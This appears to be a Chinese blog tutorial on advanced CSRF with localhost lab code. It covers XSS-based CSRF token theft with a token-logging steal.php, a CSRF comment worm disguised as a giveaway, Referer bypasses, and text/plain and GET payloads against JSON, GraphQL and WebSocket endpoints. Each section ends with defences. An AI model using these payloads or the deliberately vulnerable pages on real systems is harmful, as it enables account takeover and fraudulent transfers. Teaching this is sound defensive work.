大家好,你们可以叫我凌,是个16岁的网络安全学习者
现在又在赶文字了,嘻嘻~主要是最近都在刷CTF题目呢,实在没有时间更新了,所以说望见谅啦~不过放心,我每周也会保证至少1篇文章的产出的。
那么,我们今天就来搞搞CSRF的进阶内容,那就直接开始吧!
高级利用场景
配合 XSS 绕过 CSRF Token
攻击原理
CSRF Token 的防御核心在于:服务端生成一个与用户会话绑定的随机值,并校验每次请求是否携带该值。攻击者无法直接获取 Token,因此无法构造有效请求。但若目标网站存在 XSS 漏洞,攻击者便可以在受害者浏览器的页面上下文中执行 JavaScript,从而读取页面中的 Token 并构造恶意请求。
攻击条件
-
目标网站使用 CSRF Token 防护。
-
目标网站存在 XSS 漏洞(反射型或存储型)。
-
Token 存放在页面 DOM 中(如 <input type="hidden" name="csrf_token" value="...">)。
攻击流程
-
攻击者发现目标网站的 XSS 注入点。
-
构造恶意脚本,在受害者浏览器中读取 CSRF Token(如 document.querySelector('name=csrf_token').value)。
-
将 Token 通过 AJAX 发送到攻击者服务器,或在当前页面直接构造带 Token 的 POST 请求。
-
请求携带正确 Token 和用户 Cookie,服务器认为是合法请求,执行操作。
靶场验证
参考 token_vuln.php + token_attack.html + steal.php 组合演示。
文件内容
/CSRF/token_vuln.php
php
<?php
session_start();
// 生成 CSRF Token(与用户会话绑定)
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// 模拟用户登录
if (!isset($_SESSION['user'])) {
$_SESSION['user'] = 'victim';
$_SESSION['balance'] = 10000;
}
$result = '';
// 处理转账请求(需要验证 CSRF Token)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['to'], $_POST['amount'], $_POST['csrf_token'])) {
if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
$to = $_POST['to'];
$amount = intval($_POST['amount']);
if ($amount > 0 && $amount <= $_SESSION['balance']) {
$_SESSION['balance'] -= $amount;
$result = "成功向 {$to} 转账 {$amount} 元!当前余额:{$_SESSION['balance']}";
} else {
$result = "转账失败:金额无效或余额不足。";
}
} else {
$result = "CSRF Token 验证失败!";
}
}
// 存在 XSS 漏洞:直接将 GET 参数 name 输出到页面(反射型 XSS)
$name = isset($_GET['name']) ? $_GET['name'] : '';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>银行系统 - CSRF Token + XSS 漏洞</title>
</head>
<body>
<h1>银行系统(存在 CSRF Token 和 XSS 漏洞)</h1>
<p>当前用户:<?php echo htmlspecialchars($_SESSION['user']); ?> | 余额:<?php echo $_SESSION['balance']; ?></p>
<div>欢迎您,<?php echo $name; ?></div>
<form method="POST" id="transferForm">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
收款账号:<input type="text" name="to"><br>
转账金额:<input type="number" name="amount"><br>
<button type="submit">转账</button>
</form>
<?php if ($result): ?>
<div style="color: red;"><?php echo htmlspecialchars($result); ?></div>
<?php endif; ?>
<hr>
<p style="font-size:12px">本页面存在反射型 XSS(参数 name),同时使用了 CSRF Token 防护。</p>
</body>
</html>
/CSRF/steal.php
php
<?php
// 保存窃取的 Token 到文件
if (isset($_GET['token'])) {
file_put_contents('stolen_tokens.txt', $_GET['token'] . PHP_EOL, FILE_APPEND);
echo 'OK';
} else {
echo 'No token';
}
?>
/XCSRF/token_attack.html
html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>攻击页面 - 利用 XSS 窃取 CSRF Token</title>
</head>
<body>
<h1>正在加载中...</h1>
<form action="http://localhost/CSRF/token_vuln.php" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
<input type="text" name="csrf_token" placeholder="请输入窃取到的 Token" size="64">
<button type="submit">提交</button>
</form>
<p>演示说明:攻击者首先诱使受害者点击包含 XSS 的链接,从而窃取 Token。</p>
<p>请先手动获取 Token(查看漏洞页面源码中的隐藏字段值),然后粘贴到上方输入框,点击提交即可转账。</p>
</body>
</html>
使用步骤
第一步:确认漏洞页面正常
访问:http://localhost/CSRF/token_vuln.php
页面显示余额 10000,表单中包含一个隐藏的 CSRF Token(可查看源码确认)。

第二步:构造 XSS 攻击链接(模拟受害者点击)
复制以下完整链接到浏览器地址栏并访问(这是攻击者发送给受害者的链接):
此时,XSS 脚本会在后台执行,将 Token 发送到 steal.php。

第三步:确认 Token 是否被成功窃取
访问:http://localhost/CSRF/steal.php?token=test123
如果返回 OK,说明脚本工作正常。

然后查看 http://localhost/CSRF/stolen_tokens.txt,里面应该包含了窃取到的真实 Token。
如果直接访问 stolen_tokens.txt 出现 404,请检查 CSRF 目录是否可写,或者先用 steal.php?token=test123 测试是否能生成文件。

第四步:使用窃取的 Token 发起 CSRF 攻击
访问:http://localhost/XCSRF/token_attack.html

将 stolen_tokens.txt 中的 Token 复制粘贴到输入框,点击提交。
转账成功,余额被扣除,说明 CSRF Token 被 XSS 窃取后成功绕过。

注意:这里的value参数才是我们需要的Token

防御:修复 XSS 漏洞是根本;Token 应绑定会话且不可预测;考虑使用 HttpOnly Cookie 存储 Token(但需配合 JS 读取,存在矛盾)。
CSRF 蠕虫
攻击原理
CSRF 蠕虫利用 CSRF 漏洞在社交网站中自动发布包含攻击链接的内容(如帖子、评论),当其他用户浏览该内容并点击链接时,又会触发新的 CSRF,形成自我传播的链条。
攻击条件
-
目标网站存在 CSRF 漏洞(如发帖、评论等操作无 Token 校验)。
-
发布的内容可包含链接,且其他用户可访问。
传播机制
-
攻击者发布一条初始内容,内容中包含指向攻击页面的链接。
-
受害者 A 点击链接,访问攻击页面。
-
攻击页面自动通过 CSRF 让受害者 A 发布一条新内容,内容同样包含该攻击链接。
-
受害者 B 看到 A 发布的内容后点击,重复步骤 3,传播链形成。
危害:可导致大量用户自动发布恶意内容,迅速污染整个平台。
靶场验证
参考 forum.php + comment.php + worm_attack.html 组合演示。
文件内容
/CSRF/forum.php
php
<?php
session_start();
if (!isset($_SESSION['user'])) {
$_SESSION['user'] = 'victim';
}
$post = [
'id' => 1,
'title' => '欢迎来到 CSRF 蠕虫演示论坛',
'content' => '请在此帖子下方留言,测试 CSRF 蠕虫的传播效果。'
];
$comments = [];
if (file_exists('comments.txt')) {
$lines = file('comments.txt', FILE_IGNORE_NEW_LINES);
foreach ($lines as $line) {
$parts = explode('|', $line);
if (count($parts) >= 2) {
$comments[] = ['user' => $parts[0], 'content' => $parts[1]];
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSRF 蠕虫演示 - 论坛</title>
</head>
<body>
<h1>CSRF 蠕虫演示论坛</h1>
<p>当前用户:<?php echo htmlspecialchars($_SESSION['user']); ?></p>
<hr>
<h2><?php echo htmlspecialchars($post['title']); ?></h2>
<p><?php echo htmlspecialchars($post['content']); ?></p>
<h3>评论列表</h3>
<?php if (count($comments) > 0): ?>
<?php foreach ($comments as $c): ?>
<div style="border:1px solid #ccc; padding:5px; margin:5px;">
<strong><?php echo htmlspecialchars($c['user']); ?> 说:</strong>
<?php echo htmlspecialchars($c['content']); ?>
</div>
<?php endforeach; ?>
<?php else: ?>
<p>暂无评论,快来发表第一条吧!</p>
<?php endif; ?>
<hr>
<h3>发表评论</h3>
<form action="comment.php" method="POST">
<input type="hidden" name="user" value="<?php echo $_SESSION['user']; ?>">
<textarea name="content" rows="3" cols="60" placeholder="请输入评论内容"></textarea><br>
<button type="submit">提交评论</button>
</form>
<hr>
<p style="font-size:12px">此演示存在 CSRF 漏洞,攻击者可通过恶意链接让用户自动发表评论。</p>
</body>
</html>
/CSRF/comment.php
php
<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['user'], $_POST['content'])) {
$user = $_POST['user'];
$content = $_POST['content'];
$line = $user . '|' . $content . PHP_EOL;
file_put_contents('comments.txt', $line, FILE_APPEND | LOCK_EX);
header('Location: forum.php');
exit;
} else {
header('Location: forum.php');
exit;
}
?>
/XCSRF/worm_attack.html
html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>免费的积分领取!</title>
</head>
<body>
<h1>🎉 恭喜您获得 1000 积分!</h1>
<p>点击下方链接即可领取:</p>
<a href="http://localhost/CSRF/forum.php" target="_blank">点击领取积分</a>
<form action="http://localhost/CSRF/comment.php" method="POST" id="csrf-form">
<input type="hidden" name="user" value="victim">
<input type="hidden" name="content" value="【转发福利】点击领取1000积分:http://localhost/XCSRF/worm_attack.html">
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
<p style="color:gray; font-size:12px;">(您已被自动转发这条福利信息,这是为了帮助更多人!)</p>
</body>
</html>
使用步骤
访问 http://localhost/CSRF/forum.php,手动发表第一条评论:

访问 http://localhost/XCSRF/worm_attack.html,页面加载后自动提交评论。

刷新 forum.php,评论列表中新增了一条含恶意链接的评论。

重复步骤 2-3,每次访问都会新增一条评论,形成蠕虫传播。
防御:敏感操作(发帖、转发)使用 CSRF Token;限制同一用户的操作频率(如验证码);对发布内容中的链接进行安全检测。
绕过 Referer 检查
攻击原理
Referer 检查是一种常见的 CSRF 辅助防御手段:服务端校验 HTTP 请求头中的 `Referer` 字段,判断请求是否来源于本站域名。但 Referer 检查存在多种绕过方式,不能作为主要防御。
绕过方法
① 空 Referer
从某些协议(如 data:、file:、about:blank)发起的请求不带 Referer;使用 <meta name="referrer" content="no-referrer"> 可使页面内所有请求不带 Referer。
② 利用合法跳转
若目标网站存在开放重定向或 JSONP 接口,攻击者可先跳转到合法页面再发起请求,使 Referer 看起来来自本站。
③ 浏览器扩展/插件
部分浏览器扩展可修改或删除 Referer。
攻击条件
-
目标网站仅依赖 Referer 检查防御 CSRF。
-
允许空 Referer 或存在开放重定向等辅助漏洞。
靶场验证
参考 referer_vuln.php + referer_attack.html(空 Referer)+ referer_fake.html(伪造 Referer)组合演示。
文件内容
/CSRF/referer_vuln.php
php
<?php
session_start();
if (!isset($_SESSION['user'])) {
$_SESSION['user'] = 'victim';
$_SESSION['balance'] = 10000;
}
$result = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['to'], $_POST['amount'])) {
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'http://localhost/CSRF/') === 0) {
$to = $_POST['to'];
$amount = intval($_POST['amount']);
if ($amount > 0 && $amount <= $_SESSION['balance']) {
$_SESSION['balance'] -= $amount;
$result = "成功向 {$to} 转账 {$amount} 元!当前余额:{$_SESSION['balance']}";
} else {
$result = "转账失败:金额无效或余额不足。";
}
} else {
$result = "转账失败:Referer 校验不通过!";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>银行系统 - Referer 检查漏洞</title>
</head>
<body>
<h1>银行系统(仅 Referer 检查)</h1>
<p>当前用户:<?php echo $_SESSION['user']; ?> | 余额:<?php echo $_SESSION['balance']; ?></p>
<form method="POST">
收款账号:<input type="text" name="to"><br>
转账金额:<input type="number" name="amount"><br>
<button type="submit">转账</button>
</form>
<?php if ($result): ?>
<div style="color: red;"><?php echo $result; ?></div>
<?php endif; ?>
<hr>
<p style="font-size:12px">本页面仅通过 Referer 检查防御 CSRF。</p>
</body>
</html>
/XCSRF/referer_attack.html
html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>攻击页面 - 空 Referer</title>
<meta name="referrer" content="no-referrer">
</head>
<body>
<h1>正在处理...</h1>
<form action="http://localhost/CSRF/referer_vuln.php" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
</body>
</html>
/XCSRF/referer_fake.html
html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>攻击页面 - 伪造 Referer</title>
<meta name="referrer" content="unsafe-url">
</head>
<body>
<h1>正在加载...</h1>
<iframe name="hiddenFrame" style="display:none"></iframe>
<form action="http://localhost/CSRF/referer_vuln.php" method="POST" target="hiddenFrame" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
<p style="color:gray;">(此页面尝试伪造 Referer,实际成功率因浏览器而异)</p>
</body>
</html>
使用步骤
第一步:确认漏洞页面正常
访问:http://localhost/CSRF/referer_vuln.php
页面显示当前用户和余额(初始 10000)。

第二步:正常同源请求(参照组)
在 referer_vuln.php 页面中,直接使用页面内的表单提交一笔转账(如向 test 转账 100 元),此时 Referer 为 http://localhost/CSRF/referer_vuln.php,符合校验规则,转账成功。

第三步:空 Referer 攻击
访问:http://localhost/XCSRF/referer_attack.html
该页面设置了 <meta name="referrer" content="no-referrer">,提交表单时不携带 Referer。
观察 referer_vuln.php 页面,若转账失败且提示"Referer 校验不通过",说明空 Referer 绕过失败(现代浏览器已限制)。若成功,说明该服务器允许空 Referer。

第四步:伪造 Referer 攻击(可选)
访问:http://localhost/XCSRF/referer_fake.html
该页面尝试伪造 Referer,成功率因浏览器和安全策略而异。主要用于理解 Referer 检查的局限性。
防御:不应单独依赖 Referer 检查,应配合 CSRF Token 或 SameSite Cookie 属性;可使用 Referrer-Policy: strict-origin-when-cross-origin 策略,但不影响跨站攻击。
章节小结
三个高级场景共同揭示了一点:CSRF 防御不能靠单一措施。Token 可能被 XSS 窃取,Referer 可能被绕过,蠕虫则利用 CSRF 漏洞的传播特性进行二次扩散。真正的纵深防御需要
核心操作使用 CSRF Token(并确保 Token 与用户会话强绑定)。
防范 XSS(输出编码、CSP),避免 Token 被窃取。
设置 Cookie 的 SameSite 属性。
对敏感操作增加用户交互(如验证码)。
现代架构中的 CSRF 攻击向量
JSON API 的 CSRF
攻击原理
现代 Web 应用常使用 JSON 格式作为 API 的数据交换格式。开发者可能认为 JSON 请求比传统表单更安全,或认为跨域请求(CORS)策略已足够。然而,若后端仅检查请求体是否为 JSON,而未严格校验 Content-Type 请求头,攻击者可以通过构造一个 enctype="text/plain" 的 HTML 表单,使浏览器将 JSON 数据作为纯文本提交,从而绕过 CSRF 防御。
攻击条件
-
目标 API 接受 POST 请求,请求体为 JSON 格式。
-
后端未校验 Content-Type: application/json,或使用了宽松的解析方式(如 PHP 的 php://input 直接读取)。
-
认证依赖于 Cookie(如 Session Cookie)。
攻击代码
html
<form action="https://api.example.com/user/update" method="POST" enctype="text/plain" id="csrf-form">
<input name='{"email":"hacker@evil.com", "ignore":"' value='"}'>
</form>
<script>document.getElementById("csrf-form").submit();</script>
提交后,请求体为:
{"email":"hacker@evil.com", "ignore":"="}
若后端使用 json_decode() 解析,email 字段会被成功提取,而 ignore 字段被忽略。
防御方法
-
严格校验 Content-Type: application/json,拒绝其他类型的请求。
-
使用 CSRF Token,并将其放在请求头(如 X-CSRF-TOKEN)中,而非请求体。
-
对于敏感操作,增加二次确认(如验证码)。
WebSocket 握手 CSRF
攻击原理
WebSocket 连接通过 HTTP 升级握手建立。若服务端在握手阶段未校验 Origin 头或未要求携带 CSRF Token,攻击者可诱导用户建立恶意 WebSocket 连接,从而窃取实时数据(如聊天记录)或执行操作(如发送消息)。
攻击条件
-
目标 WebSocket 服务端未校验 Origin 头。
-
WebSocket 握手请求依赖于 Cookie 进行身份认证。
-
攻击者能预测 WebSocket URL 和消息格式。
攻击代码
html
<script>
var ws = new WebSocket("ws://target.com/chat");
ws.onopen = function() {
ws.send("恶意消息");
};
</script>
防御方法
-
校验 Origin 头,确保请求来自可信域名。
-
在 WebSocket 握手 URL 中携带 CSRF Token(如 ws://target.com/chat?token=xxx)。
-
使用 wss:// 加密传输,防止中间人篡改。
单页应用(SPA)中的 CSRF
攻击原理
单页应用(SPA)通常通过 API 获取数据,若认证依赖于 Cookie(如 Session Cookie),则 API 请求仍可能受 CSRF 影响。许多前端框架(如 Angular)内置了 CSRF 防护(如 HttpClientXsrfModule),但需正确配置。
常见配置错误
-
未启用框架内置的 CSRF 防护。
-
将 CSRF Token 存储在 localStorage 中(可被 XSS 窃取)。
-
未将 Token 添加到请求头(如 X-XSRF-TOKEN)。
正确配置示例(Angular)
TypeScript
import { HttpClientModule, HttpClientXsrfModule } from '@angular/common/http';
@NgModule({
imports: [
HttpClientModule,
HttpClientXsrfModule.withOptions({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
})
]
})
export class AppModule { }
防御方法
-
使用框架内置的 CSRF 防护,并正确配置 Cookie 和请求头名称。
-
将 CSRF Token 存储在 Cookie 中(设置 SameSite=Lax),SPA 从 Cookie 读取 Token 并添加到请求头。
-
使用 SameSite=Strict 或 Lax 属性直接防御 CSRF。
GraphQL API 的 CSRF 风险
攻击原理
GraphQL API 通常使用单一端点(如 /graphql),通过 POST 请求发送 JSON 格式的查询(query)或变更(mutation)。若未配置 CSRF 防护,攻击者可通过多种方式绕过:
-
通过 enctype="text/plain" 表单发送 mutation(同 4.1 JSON API)。
-
批量操作(Batch Query):若一次性 Token 只校验一次,批量中的多个 mutation 可能只检查第一个,后续 mutation 绕过校验。
-
自省查询(Introspection):泄露 API 结构,辅助攻击者构造恶意 mutation。
-
GET 请求:若 GraphQL 端点允许 GET 请求执行 mutation(尽管官方不推荐),攻击者可通过 <img src="..."> 触发。
攻击代码示例
① text/plain 表单
html
<form action="http://target.com/graphql" method="POST" enctype="text/plain" id="csrf-form">
<input name='{"query":"mutation{updateEmail(email:\\"hacker@evil.com\\")}"}' value=''>
</form>
<script>document.getElementById("csrf-form").submit();</script>
② GET 请求(若允许)
html
<img src="http://target.com/graphql?query=mutation{updateEmail(email:'hacker@evil.com')}">
③ 批量查询绕过 Token (json)
html
[
{"query": "mutation{updateEmail(email:'hacker@evil.com')}"},
{"query": "mutation{updatePassword(password:'123456')}"}
]
防御方法
-
强制要求 Content-Type: application/json,拒绝 text/plain 等格式。
-
使用 CSRF Token,并校验每个 mutation 操作。
-
限制批量查询的大小(如最多 5 个操作),并对每个操作分别校验 Token。
-
禁用自省查询(生产环境)。
-
禁止 GET 请求执行 mutation,仅允许 POST。
-
使用 SameSite Cookie 属性作为辅助防御。
章节小结
现代架构下的 CSRF 风险主要源于开发者的错误假设:认为 JSON API、GraphQL 或 WebSocket 天然安全,或过度依赖 CORS 策略。实际上,CSRF 的核心问题始终是浏览器自动携带 Cookie,无论 API 格式如何,只要认证依赖 Cookie,且服务端未严格校验请求来源或 Token,攻击者即可利用表单、脚本或标签发起跨站请求。
|-----------|------------------|-----------------------------|
| 攻击向量 | 核心风险点 | 推荐防御 |
| JSON API | 未校验 Content-Type | 强制 application/json + Token |
| WebSocket | 未校验 Origin | 校验 Origin + Token |
| SPA | 框架防护未正确配置 | 启用内置防护 + Token 存 Cookie |
| GraphQL | 批量操作绕过 Token | 限制批量大小 + 分别校验 |
核心思路:无论使用何种 API 架构,只要认证依赖于 Cookie,CSRF 的风险就存在。防御的本质是让攻击者无法构造出与合法请求完全相同的跨站请求------Token 校验、Content-Type 校验、Origin 校验、SameSite 属性,四者结合,才能有效抵御现代架构中的 CSRF 攻击。